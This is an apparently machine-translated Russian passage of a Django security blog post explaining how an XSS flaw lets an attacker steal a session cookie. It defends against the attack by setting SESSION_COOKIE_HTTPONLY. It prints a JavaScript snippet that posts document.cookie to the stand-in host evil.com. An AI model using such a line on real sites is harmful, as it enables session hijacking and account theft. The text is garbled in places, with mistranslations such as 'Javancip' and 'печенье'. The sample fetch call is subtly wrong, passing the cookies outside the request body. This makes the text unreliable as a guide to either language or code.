Одна уязвимость опирается на вершину другого: плохой актер может выполнять серию атак на вашем сайте, который начинается как простая атака XSS, чтобы обмануть браузер, выполнив какой-то Javancip, и заканчивается хакером, полностью захватывающим заседанию жертвы в воровство Их сессия cookie:
Готов к проблеме безопасности Django? Играть наш Задача безопасности Django .
В этом сценарии хакер просто скопировал и вставил в наклеивание файла cookie сеанса жертвы, а затем перезагрузил страницу. Но как они получили печенье? В предыдущем посте было показано, как небезопасный веб-сайт можно обмануть в выполнении некоторого JavaScript. Давайте немного изменим пример, чтобы украсть сеанс Cookie через JavaScript:
// nefavious.js function stealSessionCookie(cookies) { fetch('https://evil.com/api/cookies', {method: 'post'}, cookies) } stealSessionCookie(document.cookie)
В этом примере сеанс пострадавших файлов cookie размещаются на сервере хакера – позволяя хакеру прочитать cookie из журнала, как продемонстрировано в видео.
Такая атака также может быть использована для кражи печенья CSRF, которое дополнительно демонстрирует, как одна очевидная незначительная уязвимость приводит к другому.
Профилактика
Эта сессия Cookie угона была возможна только потому, что на сайте были следующие уязвимости:
- Сайт был уязвим для XSS Attack
- Сеанс cookie не был Httponly.
Проблема Httponly может быть исправлена, выполняя следующее в Django:
MIDDLEWARE = [ 'django.contrib.sessions.middleware.SessionMiddleware', ... ] SESSION_COOKIE_HTTPONLY = True
Это предотвратит возможность браузера для чтения значения файла cookie сеанса, поэтому, если хакер успешно выполняет атаку XSS, по крайней мере, они не могут угонять сеанс пользователя.
Есть ли у вашего сайта уязвимости безопасности?
Со временем это легко для уязвимостей безопасности и технологического долга, чтобы проскользнуть в вашу кодовую базу. Я могу проверить это для вас в django.doctor или может Просмотрите свой GitHUB PRS :
Или попробуйте Рефакторы Django Challenges Отказ
Оригинал: “https://dev.to/djangodoctor/hacking-django-websites-session-hijacking-with-xss-2l8o”